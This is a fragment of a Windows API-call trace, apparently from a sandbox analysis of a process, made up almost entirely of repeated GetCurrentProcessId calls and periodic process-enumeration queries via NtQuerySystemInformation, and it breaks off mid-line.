GetCurrentProcessId () returned 0x10c0 [0159.851] GetCurrentProcessId () returned 0x10c0 [0159.851] GetCurrentProcessId () returned 0x10c0 [0159.851] GetCurrentProcessId () returned 0x10c0 [0159.851] GetCurrentProcessId () returned 0x10c0 [0159.851] GetCurrentProcessId () returned 0x10c0 [0159.851] GetCurrentProcessId () returned 0x10c0 [0159.851] GetCurrentProcessId () returned 0x10c0 [0159.852] GetCurrentProcessId () returned 0x10c0 [0159.852] GetCurrentProcessId () returned 0x10c0 [0159.852] GetCurrentProcessId () returned 0x10c0 [0159.852] GetCurrentProcessId () returned 0x10c0 [0159.852] GetCurrentProcessId () returned 0x10c0 [0159.852] GetCurrentProcessId () returned 0x10c0 [0159.852] GetCurrentProcessId () returned 0x10c0 [0159.852] GetCurrentProcessId () returned 0x10c0 [0159.852] GetCurrentProcessId () returned 0x10c0 [0159.852] GetCurrentProcessId () returned 0x10c0 [0159.852] GetCurrentProcessId () returned 0x10c0 [0159.852] GetCurrentProcessId () returned 0x10c0 [0159.852] GetCurrentProcessId () returned 0x10c0 [0159.852] GetCurrentProcessId () returned 0x10c0 [0159.852] GetCurrentProcessId () returned 0x10c0 [0159.852] GetCurrentProcessId () returned 0x10c0 [0159.852] GetCurrentProcessId () returned 0x10c0 [0159.852] GetCurrentProcessId () returned 0x10c0 [0159.852] GetCurrentProcessId () returned 0x10c0 [0159.852] GetCurrentProcessId () returned 0x10c0 [0159.853] GetCurrentProcessId () returned 0x10c0 [0159.853] GetCurrentProcessId () returned 0x10c0 [0159.853] GetCurrentProcessId () returned 0x10c0 [0159.853] GetCurrentProcessId () returned 0x10c0 [0159.853] GetCurrentProcessId () returned 0x10c0 [0159.853] GetCurrentProcessId () returned 0x10c0 [0159.853] GetCurrentProcessId () returned 0x10c0 [0159.853] GetCurrentProcessId () returned 0x10c0 [0159.853] GetCurrentProcessId () returned 0x10c0 [0159.853] GetCurrentProcessId () returned 0x10c0 [0159.853] GetCurrentProcessId () returned 0x10c0 [0159.853] GetCurrentProcessId () returned 0x10c0 [0159.853] GetCurrentProcessId () returned 0x10c0 [0159.853] GetCurrentProcessId () returned 0x10c0 [0159.853] GetCurrentProcessId () returned 0x10c0 [0159.853] GetCurrentProcessId () returned 0x10c0 [0159.853] GetCurrentProcessId () returned 0x10c0 [0159.853] GetCurrentProcessId () returned 0x10c0 [0159.853] GetCurrentProcessId () returned 0x10c0 [0159.853] GetCurrentProcessId () returned 0x10c0 [0159.853] GetCurrentProcessId () returned 0x10c0 [0159.853] GetCurrentProcessId () returned 0x10c0 [0159.853] GetCurrentProcessId () returned 0x10c0 [0159.853] GetCurrentProcessId () returned 0x10c0 [0159.854] GetCurrentProcessId () returned 0x10c0 [0159.854] GetCurrentProcessId () returned 0x10c0 [0159.854] GetCurrentProcessId () returned 0x10c0 [0159.854] GetCurrentProcessId () returned 0x10c0 [0159.854] GetCurrentProcessId () returned 0x10c0 [0159.854] GetCurrentProcessId () returned 0x10c0 [0159.854] GetCurrentProcessId () returned 0x10c0 [0159.854] GetCurrentProcessId () returned 0x10c0 [0159.854] GetCurrentProcessId () returned 0x10c0 [0159.854] GetCurrentProcessId () returned 0x10c0 [0159.854] GetCurrentProcessId () returned 0x10c0 [0159.854] GetCurrentProcessId () returned 0x10c0 [0159.854] GetCurrentProcessId () returned 0x10c0 [0159.854] GetCurrentProcessId () returned 0x10c0 [0159.854] GetCurrentProcessId () returned 0x10c0 [0159.854] GetCurrentProcessId () returned 0x10c0 [0159.854] GetCurrentProcessId () returned 0x10c0 [0159.854] GetCurrentProcessId () returned 0x10c0 [0159.854] GetCurrentProcessId () returned 0x10c0 [0159.854] GetCurrentProcessId () returned 0x10c0 [0159.855] GetCurrentProcessId () returned 0x10c0 [0159.855] GetCurrentProcessId () returned 0x10c0 [0159.855] GetCurrentProcessId () returned 0x10c0 [0159.855] GetCurrentProcessId () returned 0x10c0 [0159.855] GetCurrentProcessId () returned 0x10c0 [0159.855] GetCurrentProcessId () returned 0x10c0 [0159.855] GetCurrentProcessId () returned 0x10c0 [0159.855] GetCurrentProcessId () returned 0x10c0 [0159.855] GetCurrentProcessId () returned 0x10c0 [0159.855] GetCurrentProcessId () returned 0x10c0 [0159.855] GetCurrentProcessId () returned 0x10c0 [0159.855] GetCurrentProcessId () returned 0x10c0 [0159.855] GetCurrentProcessId () returned 0x10c0 [0160.404] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d4c0) returned 0x0 [0161.546] GetCurrentProcessId () returned 0x10c0 [0161.546] GetCurrentProcessId () returned 0x10c0 [0161.546] GetCurrentProcessId () returned 0x10c0 [0161.546] GetCurrentProcessId () returned 0x10c0 [0161.546] GetCurrentProcessId () returned 0x10c0 [0161.547] GetCurrentProcessId () returned 0x10c0 [0161.547] GetCurrentProcessId () returned 0x10c0 [0161.547] GetCurrentProcessId () returned 0x10c0 [0161.547] GetCurrentProcessId () returned 0x10c0 [0161.547] GetCurrentProcessId () returned 0x10c0 [0161.547] GetCurrentProcessId () returned 0x10c0 [0161.547] GetCurrentProcessId () returned 0x10c0 [0161.547] GetCurrentProcessId () returned 0x10c0 [0161.547] GetCurrentProcessId () returned 0x10c0 [0161.547] GetCurrentProcessId () returned 0x10c0 [0161.547] GetCurrentProcessId () returned 0x10c0 [0161.547] GetCurrentProcessId () returned 0x10c0 [0161.547] GetCurrentProcessId () returned 0x10c0 [0161.547] GetCurrentProcessId () returned 0x10c0 [0161.547] GetCurrentProcessId () returned 0x10c0 [0161.547] GetCurrentProcessId () returned 0x10c0 [0161.548] GetCurrentProcessId () returned 0x10c0 [0161.548] GetCurrentProcessId () returned 0x10c0 [0161.548] GetCurrentProcessId () returned 0x10c0 [0161.548] GetCurrentProcessId () returned 0x10c0 [0161.548] GetCurrentProcessId () returned 0x10c0 [0161.548] GetCurrentProcessId () returned 0x10c0 [0161.548] GetCurrentProcessId () returned 0x10c0 [0161.548] GetCurrentProcessId () returned 0x10c0 [0161.548] GetCurrentProcessId () returned 0x10c0 [0161.548] GetCurrentProcessId () returned 0x10c0 [0161.548] GetCurrentProcessId () returned 0x10c0 [0161.549] GetCurrentProcessId () returned 0x10c0 [0161.549] GetCurrentProcessId () returned 0x10c0 [0161.549] GetCurrentProcessId () returned 0x10c0 [0161.549] GetCurrentProcessId () returned 0x10c0 [0161.549] GetCurrentProcessId () returned 0x10c0 [0161.549] GetCurrentProcessId () returned 0x10c0 [0161.549] GetCurrentProcessId () returned 0x10c0 [0161.549] GetCurrentProcessId () returned 0x10c0 [0161.549] GetCurrentProcessId () returned 0x10c0 [0161.549] GetCurrentProcessId () returned 0x10c0 [0161.549] GetCurrentProcessId () returned 0x10c0 [0161.549] GetCurrentProcessId () returned 0x10c0 [0161.549] GetCurrentProcessId () returned 0x10c0 [0161.549] GetCurrentProcessId () returned 0x10c0 [0161.549] GetCurrentProcessId () returned 0x10c0 [0161.549] GetCurrentProcessId () returned 0x10c0 [0161.549] GetCurrentProcessId () returned 0x10c0 [0161.549] GetCurrentProcessId () returned 0x10c0 [0161.549] GetCurrentProcessId () returned 0x10c0 [0161.549] GetCurrentProcessId () returned 0x10c0 [0161.549] GetCurrentProcessId () returned 0x10c0 [0161.549] GetCurrentProcessId () returned 0x10c0 [0161.549] GetCurrentProcessId () returned 0x10c0 [0161.550] GetCurrentProcessId () returned 0x10c0 [0161.550] GetCurrentProcessId () returned 0x10c0 [0161.550] GetCurrentProcessId () returned 0x10c0 [0161.550] GetCurrentProcessId () returned 0x10c0 [0161.550] GetCurrentProcessId () returned 0x10c0 [0161.550] GetCurrentProcessId () returned 0x10c0 [0161.550] GetCurrentProcessId () returned 0x10c0 [0161.550] GetCurrentProcessId () returned 0x10c0 [0161.550] GetCurrentProcessId () returned 0x10c0 [0161.550] GetCurrentProcessId () returned 0x10c0 [0161.550] GetCurrentProcessId () returned 0x10c0 [0161.550] GetCurrentProcessId () returned 0x10c0 [0161.550] GetCurrentProcessId () returned 0x10c0 [0161.550] GetCurrentProcessId () returned 0x10c0 [0161.550] GetCurrentProcessId () returned 0x10c0 [0161.550] GetCurrentProcessId () returned 0x10c0 [0161.550] GetCurrentProcessId () returned 0x10c0 [0161.550] GetCurrentProcessId () returned 0x10c0 [0161.550] GetCurrentProcessId () returned 0x10c0 [0161.550] GetCurrentProcessId () returned 0x10c0 [0161.550] GetCurrentProcessId () returned 0x10c0 [0161.550] GetCurrentProcessId () returned 0x10c0 [0161.550] GetCurrentProcessId () returned 0x10c0 [0161.551] GetCurrentProcessId () returned 0x10c0 [0161.551] GetCurrentProcessId () returned 0x10c0 [0161.551] GetCurrentProcessId () returned 0x10c0 [0161.551] GetCurrentProcessId () returned 0x10c0 [0161.551] GetCurrentProcessId () returned 0x10c0 [0161.551] GetCurrentProcessId () returned 0x10c0 [0161.551] GetCurrentProcessId () returned 0x10c0 [0161.551] GetCurrentProcessId () returned 0x10c0 [0161.551] GetCurrentProcessId () returned 0x10c0 [0161.551] GetCurrentProcessId () returned 0x10c0 [0161.551] GetCurrentProcessId () returned 0x10c0 [0161.551] GetCurrentProcessId () returned 0x10c0 [0161.551] GetCurrentProcessId () returned 0x10c0 [0161.551] GetCurrentProcessId () returned 0x10c0 [0161.551] GetCurrentProcessId () returned 0x10c0 [0161.551] GetCurrentProcessId () returned 0x10c0 [0161.551] GetCurrentProcessId () returned 0x10c0 [0161.551] GetCurrentProcessId () returned 0x10c0 [0161.551] GetCurrentProcessId () returned 0x10c0 [0161.551] GetCurrentProcessId () returned 0x10c0 [0161.551] GetCurrentProcessId () returned 0x10c0 [0161.551] GetCurrentProcessId () returned 0x10c0 [0161.551] GetCurrentProcessId () returned 0x10c0 [0161.552] GetCurrentProcessId () returned 0x10c0 [0161.552] GetCurrentProcessId () returned 0x10c0 [0161.552] GetCurrentProcessId () returned 0x10c0 [0161.552] GetCurrentProcessId () returned 0x10c0 [0161.552] GetCurrentProcessId () returned 0x10c0 [0161.552] GetCurrentProcessId () returned 0x10c0 [0161.552] GetCurrentProcessId () returned 0x10c0 [0161.552] GetCurrentProcessId () returned 0x10c0 [0161.552] GetCurrentProcessId () returned 0x10c0 [0161.552] GetCurrentProcessId () returned 0x10c0 [0162.062] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d560) returned 0x0 [0162.104] GetCurrentProcessId () returned 0x10c0 [0162.104] GetCurrentProcessId () returned 0x10c0 [0162.105] GetCurrentProcessId () returned 0x10c0 [0162.105] GetCurrentProcessId () returned 0x10c0 [0162.105] GetCurrentProcessId () returned 0x10c0 [0162.105] GetCurrentProcessId () returned 0x10c0 [0162.105] GetCurrentProcessId () returned 0x10c0 [0162.105] GetCurrentProcessId () returned 0x10c0 [0162.105] GetCurrentProcessId () returned 0x10c0 [0162.105] GetCurrentProcessId () returned 0x10c0 [0162.105] GetCurrentProcessId () returned 0x10c0 [0162.105] GetCurrentProcessId () returned 0x10c0 [0162.105] GetCurrentProcessId () returned 0x10c0 [0162.105] GetCurrentProcessId () returned 0x10c0 [0162.105] GetCurrentProcessId () returned 0x10c0 [0162.105] GetCurrentProcessId () returned 0x10c0 [0162.105] GetCurrentProcessId () returned 0x10c0 [0162.105] GetCurrentProcessId () returned 0x10c0 [0162.105] GetCurrentProcessId () returned 0x10c0 [0162.105] GetCurrentProcessId () returned 0x10c0 [0162.105] GetCurrentProcessId () returned 0x10c0 [0162.105] GetCurrentProcessId () returned 0x10c0 [0162.106] GetCurrentProcessId () returned 0x10c0 [0162.106] GetCurrentProcessId () returned 0x10c0 [0162.107] GetCurrentProcessId () returned 0x10c0 [0162.107] GetCurrentProcessId () returned 0x10c0 [0162.107] GetCurrentProcessId () returned 0x10c0 [0162.107] GetCurrentProcessId () returned 0x10c0 [0162.107] GetCurrentProcessId () returned 0x10c0 [0162.107] GetCurrentProcessId () returned 0x10c0 [0162.107] GetCurrentProcessId () returned 0x10c0 [0162.107] GetCurrentProcessId () returned 0x10c0 [0162.107] GetCurrentProcessId () returned 0x10c0 [0162.107] GetCurrentProcessId () returned 0x10c0 [0162.107] GetCurrentProcessId () returned 0x10c0 [0162.107] GetCurrentProcessId () returned 0x10c0 [0162.107] GetCurrentProcessId () returned 0x10c0 [0162.107] GetCurrentProcessId () returned 0x10c0 [0162.107] GetCurrentProcessId () returned 0x10c0 [0162.107] GetCurrentProcessId () returned 0x10c0 [0162.107] GetCurrentProcessId () returned 0x10c0 [0162.108] GetCurrentProcessId () returned 0x10c0 [0162.108] GetCurrentProcessId () returned 0x10c0 [0162.108] GetCurrentProcessId () returned 0x10c0 [0162.108] GetCurrentProcessId () returned 0x10c0 [0162.108] GetCurrentProcessId () returned 0x10c0 [0162.108] GetCurrentProcessId () returned 0x10c0 [0162.108] GetCurrentProcessId () returned 0x10c0 [0162.108] GetCurrentProcessId () returned 0x10c0 [0162.108] GetCurrentProcessId () returned 0x10c0 [0162.108] GetCurrentProcessId () returned 0x10c0 [0162.108] GetCurrentProcessId () returned 0x10c0 [0162.108] GetCurrentProcessId () returned 0x10c0 [0162.108] GetCurrentProcessId () returned 0x10c0 [0162.200] GetCurrentProcessId () returned 0x10c0 [0162.200] GetCurrentProcessId () returned 0x10c0 [0162.200] GetCurrentProcessId () returned 0x10c0 [0162.200] GetCurrentProcessId () returned 0x10c0 [0162.201] GetCurrentProcessId () returned 0x10c0 [0162.201] GetCurrentProcessId () returned 0x10c0 [0162.201] GetCurrentProcessId () returned 0x10c0 [0162.201] GetCurrentProcessId () returned 0x10c0 [0162.201] GetCurrentProcessId () returned 0x10c0 [0162.201] GetCurrentProcessId () returned 0x10c0 [0162.201] GetCurrentProcessId () returned 0x10c0 [0162.201] GetCurrentProcessId () returned 0x10c0 [0162.201] GetCurrentProcessId () returned 0x10c0 [0162.201] GetCurrentProcessId () returned 0x10c0 [0162.201] GetCurrentProcessId () returned 0x10c0 [0162.201] GetCurrentProcessId () returned 0x10c0 [0162.201] GetCurrentProcessId () returned 0x10c0 [0162.201] GetCurrentProcessId () returned 0x10c0 [0162.202] GetCurrentProcessId () returned 0x10c0 [0162.202] GetCurrentProcessId () returned 0x10c0 [0162.202] GetCurrentProcessId () returned 0x10c0 [0162.202] GetCurrentProcessId () returned 0x10c0 [0162.202] GetCurrentProcessId () returned 0x10c0 [0162.202] GetCurrentProcessId () returned 0x10c0 [0162.202] GetCurrentProcessId () returned 0x10c0 [0162.202] GetCurrentProcessId () returned 0x10c0 [0162.202] GetCurrentProcessId () returned 0x10c0 [0162.202] GetCurrentProcessId () returned 0x10c0 [0162.202] GetCurrentProcessId () returned 0x10c0 [0162.202] GetCurrentProcessId () returned 0x10c0 [0162.202] GetCurrentProcessId () returned 0x10c0 [0162.203] GetCurrentProcessId () returned 0x10c0 [0162.203] GetCurrentProcessId () returned 0x10c0 [0162.203] GetCurrentProcessId () returned 0x10c0 [0162.203] GetCurrentProcessId () returned 0x10c0 [0162.203] GetCurrentProcessId () returned 0x10c0 [0162.203] GetCurrentProcessId () returned 0x10c0 [0162.203] GetCurrentProcessId () returned 0x10c0 [0162.203] GetCurrentProcessId () returned 0x10c0 [0162.203] GetCurrentProcessId () returned 0x10c0 [0162.203] GetCurrentProcessId () returned 0x10c0 [0162.203] GetCurrentProcessId () returned 0x10c0 [0162.203] GetCurrentProcessId () returned 0x10c0 [0162.203] GetCurrentProcessId () returned 0x10c0 [0162.203] GetCurrentProcessId () returned 0x10c0 [0162.203] GetCurrentProcessId () returned 0x10c0 [0162.203] GetCurrentProcessId () returned 0x10c0 [0162.203] GetCurrentProcessId () returned 0x10c0 [0162.203] GetCurrentProcessId () returned 0x10c0 [0162.203] GetCurrentProcessId () returned 0x10c0 [0162.203] GetCurrentProcessId () returned 0x10c0 [0162.203] GetCurrentProcessId () returned 0x10c0 [0162.204] GetCurrentProcessId () returned 0x10c0 [0162.204] GetCurrentProcessId () returned 0x10c0 [0162.204] GetCurrentProcessId () returned 0x10c0 [0162.204] GetCurrentProcessId () returned 0x10c0 [0162.204] GetCurrentProcessId () returned 0x10c0 [0162.772] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d600) returned 0x0 [0162.801] GetCurrentProcessId () returned 0x10c0 [0162.801] GetCurrentProcessId () returned 0x10c0 [0162.801] GetCurrentProcessId () returned 0x10c0 [0162.801] GetCurrentProcessId () returned 0x10c0 [0162.801] GetCurrentProcessId () returned 0x10c0 [0162.801] GetCurrentProcessId () returned 0x10c0 [0162.801] GetCurrentProcessId () returned 0x10c0 [0162.801] GetCurrentProcessId () returned 0x10c0 [0162.802] GetCurrentProcessId () returned 0x10c0 [0162.802] GetCurrentProcessId () returned 0x10c0 [0162.802] GetCurrentProcessId () returned 0x10c0 [0162.802] GetCurrentProcessId () returned 0x10c0 [0162.802] GetCurrentProcessId () returned 0x10c0 [0162.802] GetCurrentProcessId () returned 0x10c0 [0162.802] GetCurrentProcessId () returned 0x10c0 [0162.802] GetCurrentProcessId () returned 0x10c0 [0162.802] GetCurrentProcessId () returned 0x10c0 [0162.802] GetCurrentProcessId () returned 0x10c0 [0162.802] GetCurrentProcessId () returned 0x10c0 [0162.802] GetCurrentProcessId () returned 0x10c0 [0162.802] GetCurrentProcessId () returned 0x10c0 [0162.802] GetCurrentProcessId () returned 0x10c0 [0162.802] GetCurrentProcessId () returned 0x10c0 [0162.802] GetCurrentProcessId () returned 0x10c0 [0162.802] GetCurrentProcessId () returned 0x10c0 [0162.802] GetCurrentProcessId () returned 0x10c0 [0162.802] GetCurrentProcessId () returned 0x10c0 [0162.802] GetCurrentProcessId () returned 0x10c0 [0162.802] GetCurrentProcessId () returned 0x10c0 [0162.802] GetCurrentProcessId () returned 0x10c0 [0162.802] GetCurrentProcessId () returned 0x10c0 [0162.802] GetCurrentProcessId () returned 0x10c0 [0162.802] GetCurrentProcessId () returned 0x10c0 [0162.803] GetCurrentProcessId () returned 0x10c0 [0162.803] GetCurrentProcessId () returned 0x10c0 [0162.803] GetCurrentProcessId () returned 0x10c0 [0162.803] GetCurrentProcessId () returned 0x10c0 [0162.803] GetCurrentProcessId () returned 0x10c0 [0162.803] GetCurrentProcessId () returned 0x10c0 [0162.803] GetCurrentProcessId () returned 0x10c0 [0162.803] GetCurrentProcessId () returned 0x10c0 [0162.803] GetCurrentProcessId () returned 0x10c0 [0162.803] GetCurrentProcessId () returned 0x10c0 [0162.803] GetCurrentProcessId () returned 0x10c0 [0162.803] GetCurrentProcessId () returned 0x10c0 [0162.803] GetCurrentProcessId () returned 0x10c0 [0162.803] GetCurrentProcessId () returned 0x10c0 [0162.804] GetCurrentProcessId () returned 0x10c0 [0162.804] GetCurrentProcessId () returned 0x10c0 [0162.804] GetCurrentProcessId () returned 0x10c0 [0162.804] GetCurrentProcessId () returned 0x10c0 [0162.804] GetCurrentProcessId () returned 0x10c0 [0162.804] GetCurrentProcessId () returned 0x10c0 [0162.804] GetCurrentProcessId () returned 0x10c0 [0162.804] GetCurrentProcessId () returned 0x10c0 [0162.804] GetCurrentProcessId () returned 0x10c0 [0162.804] GetCurrentProcessId () returned 0x10c0 [0162.804] GetCurrentProcessId () returned 0x10c0 [0162.804] GetCurrentProcessId () returned 0x10c0 [0162.804] GetCurrentProcessId () returned 0x10c0 [0162.804] GetCurrentProcessId () returned 0x10c0 [0162.804] GetCurrentProcessId () returned 0x10c0 [0162.804] GetCurrentProcessId () returned 0x10c0 [0162.804] GetCurrentProcessId () returned 0x10c0 [0162.804] GetCurrentProcessId () returned 0x10c0 [0162.804] GetCurrentProcessId () returned 0x10c0 [0162.804] GetCurrentProcessId () returned 0x10c0 [0162.804] GetCurrentProcessId () returned 0x10c0 [0162.804] GetCurrentProcessId () returned 0x10c0 [0162.805] GetCurrentProcessId () returned 0x10c0 [0162.805] GetCurrentProcessId () returned 0x10c0 [0162.805] GetCurrentProcessId () returned 0x10c0 [0162.805] GetCurrentProcessId () returned 0x10c0 [0162.805] GetCurrentProcessId () returned 0x10c0 [0162.805] GetCurrentProcessId () returned 0x10c0 [0162.805] GetCurrentProcessId () returned 0x10c0 [0162.805] GetCurrentProcessId () returned 0x10c0 [0162.805] GetCurrentProcessId () returned 0x10c0 [0162.805] GetCurrentProcessId () returned 0x10c0 [0162.805] GetCurrentProcessId () returned 0x10c0 [0162.805] GetCurrentProcessId () returned 0x10c0 [0162.805] GetCurrentProcessId () returned 0x10c0 [0162.805] GetCurrentProcessId () returned 0x10c0 [0162.805] GetCurrentProcessId () returned 0x10c0 [0162.805] GetCurrentProcessId () returned 0x10c0 [0162.805] GetCurrentProcessId () returned 0x10c0 [0162.805] GetCurrentProcessId () returned 0x10c0 [0162.805] GetCurrentProcessId () returned 0x10c0 [0162.805] GetCurrentProcessId () returned 0x10c0 [0162.805] GetCurrentProcessId () returned 0x10c0 [0162.805] GetCurrentProcessId () returned 0x10c0 [0162.805] GetCurrentProcessId () returned 0x10c0 [0162.806] GetCurrentProcessId () returned 0x10c0 [0162.806] GetCurrentProcessId () returned 0x10c0 [0162.806] GetCurrentProcessId () returned 0x10c0 [0162.806] GetCurrentProcessId () returned 0x10c0 [0162.806] GetCurrentProcessId () returned 0x10c0 [0162.806] GetCurrentProcessId () returned 0x10c0 [0162.806] GetCurrentProcessId () returned 0x10c0 [0162.806] GetCurrentProcessId () returned 0x10c0 [0162.806] GetCurrentProcessId () returned 0x10c0 [0162.806] GetCurrentProcessId () returned 0x10c0 [0162.806] GetCurrentProcessId () returned 0x10c0 [0162.806] GetCurrentProcessId () returned 0x10c0 [0162.806] GetCurrentProcessId () returned 0x10c0 [0162.806] GetCurrentProcessId () returned 0x10c0 [0162.806] GetCurrentProcessId () returned 0x10c0 [0162.807] GetCurrentProcessId () returned 0x10c0 [0162.807] GetCurrentProcessId () returned 0x10c0 [0162.807] GetCurrentProcessId () returned 0x10c0 [0162.807] GetCurrentProcessId () returned 0x10c0 [0163.377] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d420) returned 0x0 [0163.395] GetCurrentProcessId () returned 0x10c0 [0163.395] GetCurrentProcessId () returned 0x10c0 [0163.395] GetCurrentProcessId () returned 0x10c0 [0163.395] GetCurrentProcessId () returned 0x10c0 [0163.395] GetCurrentProcessId () returned 0x10c0 [0163.395] GetCurrentProcessId () returned 0x10c0 [0163.395] GetCurrentProcessId () returned 0x10c0 [0163.395] GetCurrentProcessId () returned 0x10c0 [0163.395] GetCurrentProcessId () returned 0x10c0 [0163.396] GetCurrentProcessId () returned 0x10c0 [0163.396] GetCurrentProcessId () returned 0x10c0 [0163.396] GetCurrentProcessId () returned 0x10c0 [0163.396] GetCurrentProcessId () returned 0x10c0 [0163.396] GetCurrentProcessId () returned 0x10c0 [0163.396] GetCurrentProcessId () returned 0x10c0 [0163.396] GetCurrentProcessId () returned 0x10c0 [0163.396] GetCurrentProcessId () returned 0x10c0 [0163.396] GetCurrentProcessId () returned 0x10c0 [0163.396] GetCurrentProcessId () returned 0x10c0 [0163.396] GetCurrentProcessId () returned 0x10c0 [0163.396] GetCurrentProcessId () returned 0x10c0 [0163.396] GetCurrentProcessId () returned 0x10c0 [0163.396] GetCurrentProcessId () returned 0x10c0 [0163.396] GetCurrentProcessId () returned 0x10c0 [0163.396] GetCurrentProcessId () returned 0x10c0 [0163.396] GetCurrentProcessId () returned 0x10c0 [0163.396] GetCurrentProcessId () returned 0x10c0 [0163.396] GetCurrentProcessId () returned 0x10c0 [0163.396] GetCurrentProcessId () returned 0x10c0 [0163.396] GetCurrentProcessId () returned 0x10c0 [0163.396] GetCurrentProcessId () returned 0x10c0 [0163.397] GetCurrentProcessId () returned 0x10c0 [0163.397] GetCurrentProcessId () returned 0x10c0 [0163.397] GetCurrentProcessId () returned 0x10c0 [0163.397] GetCurrentProcessId () returned 0x10c0 [0163.397] GetCurrentProcessId () returned 0x10c0 [0163.397] GetCurrentProcessId () returned 0x10c0 [0163.397] GetCurrentProcessId () returned 0x10c0 [0163.397] GetCurrentProcessId () returned 0x10c0 [0163.397] GetCurrentProcessId () returned 0x10c0 [0163.397] GetCurrentProcessId () returned 0x10c0 [0163.397] GetCurrentProcessId () returned 0x10c0 [0163.397] GetCurrentProcessId () returned 0x10c0 [0163.397] GetCurrentProcessId () returned 0x10c0 [0163.397] GetCurrentProcessId () returned 0x10c0 [0163.398] GetCurrentProcessId () returned 0x10c0 [0163.398] GetCurrentProcessId () returned 0x10c0 [0163.398] GetCurrentProcessId () returned 0x10c0 [0163.398] GetCurrentProcessId () returned 0x10c0 [0163.398] GetCurrentProcessId () returned 0x10c0 [0163.398] GetCurrentProcessId () returned 0x10c0 [0163.398] GetCurrentProcessId () returned 0x10c0 [0163.398] GetCurrentProcessId () returned 0x10c0 [0163.398] GetCurrentProcessId () returned 0x10c0 [0163.398] GetCurrentProcessId () returned 0x10c0 [0163.398] GetCurrentProcessId () returned 0x10c0 [0163.398] GetCurrentProcessId () returned 0x10c0 [0163.398] GetCurrentProcessId () returned 0x10c0 [0163.399] GetCurrentProcessId () returned 0x10c0 [0163.399] GetCurrentProcessId () returned 0x10c0 [0163.399] GetCurrentProcessId () returned 0x10c0 [0163.399] GetCurrentProcessId () returned 0x10c0 [0163.399] GetCurrentProcessId () returned 0x10c0 [0163.399] GetCurrentProcessId () returned 0x10c0 [0163.399] GetCurrentProcessId () returned 0x10c0 [0163.399] GetCurrentProcessId () returned 0x10c0 [0163.399] GetCurrentProcessId () returned 0x10c0 [0163.399] GetCurrentProcessId () returned 0x10c0 [0163.399] GetCurrentProcessId () returned 0x10c0 [0163.399] GetCurrentProcessId () returned 0x10c0 [0163.399] GetCurrentProcessId () returned 0x10c0 [0163.399] GetCurrentProcessId () returned 0x10c0 [0163.399] GetCurrentProcessId () returned 0x10c0 [0163.399] GetCurrentProcessId () returned 0x10c0 [0163.399] GetCurrentProcessId () returned 0x10c0 [0163.399] GetCurrentProcessId () returned 0x10c0 [0163.399] GetCurrentProcessId () returned 0x10c0 [0163.400] GetCurrentProcessId () returned 0x10c0 [0163.400] GetCurrentProcessId () returned 0x10c0 [0163.400] GetCurrentProcessId () returned 0x10c0 [0163.400] GetCurrentProcessId () returned 0x10c0 [0163.400] GetCurrentProcessId () returned 0x10c0 [0163.400] GetCurrentProcessId () returned 0x10c0 [0163.400] GetCurrentProcessId () returned 0x10c0 [0163.400] GetCurrentProcessId () returned 0x10c0 [0163.400] GetCurrentProcessId () returned 0x10c0 [0163.400] GetCurrentProcessId () returned 0x10c0 [0163.400] GetCurrentProcessId () returned 0x10c0 [0163.400] GetCurrentProcessId () returned 0x10c0 [0163.400] GetCurrentProcessId () returned 0x10c0 [0163.400] GetCurrentProcessId () returned 0x10c0 [0163.400] GetCurrentProcessId () returned 0x10c0 [0163.400] GetCurrentProcessId () returned 0x10c0 [0163.400] GetCurrentProcessId () returned 0x10c0 [0163.400] GetCurrentProcessId () returned 0x10c0 [0163.400] GetCurrentProcessId () returned 0x10c0 [0163.400] GetCurrentProcessId () returned 0x10c0 [0163.400] GetCurrentProcessId () returned 0x10c0 [0163.400] GetCurrentProcessId () returned 0x10c0 [0163.401] GetCurrentProcessId () returned 0x10c0 [0163.401] GetCurrentProcessId () returned 0x10c0 [0163.401] GetCurrentProcessId () returned 0x10c0 [0163.401] GetCurrentProcessId () returned 0x10c0 [0163.401] GetCurrentProcessId () returned 0x10c0 [0163.401] GetCurrentProcessId () returned 0x10c0 [0163.401] GetCurrentProcessId () returned 0x10c0 [0163.401] GetCurrentProcessId () returned 0x10c0 [0163.401] GetCurrentProcessId () returned 0x10c0 [0163.401] GetCurrentProcessId () returned 0x10c0 [0163.401] GetCurrentProcessId () returned 0x10c0 [0163.401] GetCurrentProcessId () returned 0x10c0 [0164.045] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d3e8) returned 0x0 [0164.053] GetCurrentProcessId () returned 0x10c0 [0164.053] GetCurrentProcessId () returned 0x10c0 [0164.053] GetCurrentProcessId () returned 0x10c0 [0164.053] GetCurrentProcessId () returned 0x10c0 [0164.053] GetCurrentProcessId () returned 0x10c0 [0164.053] GetCurrentProcessId () returned 0x10c0 [0164.053] GetCurrentProcessId () returned 0x10c0 [0164.053] GetCurrentProcessId () returned 0x10c0 [0164.053] GetCurrentProcessId () returned 0x10c0 [0164.053] GetCurrentProcessId () returned 0x10c0 [0164.053] GetCurrentProcessId () returned 0x10c0 [0164.053] GetCurrentProcessId () returned 0x10c0 [0164.053] GetCurrentProcessId () returned 0x10c0 [0164.053] GetCurrentProcessId () returned 0x10c0 [0164.053] GetCurrentProcessId () returned 0x10c0 [0164.053] GetCurrentProcessId () returned 0x10c0 [0164.053] GetCurrentProcessId () returned 0x10c0 [0164.053] GetCurrentProcessId () returned 0x10c0 [0164.053] GetCurrentProcessId () returned 0x10c0 [0164.053] GetCurrentProcessId () returned 0x10c0 [0164.054] GetCurrentProcessId () returned 0x10c0 [0164.054] GetCurrentProcessId () returned 0x10c0 [0164.054] GetCurrentProcessId () returned 0x10c0 [0164.054] GetCurrentProcessId () returned 0x10c0 [0164.054] 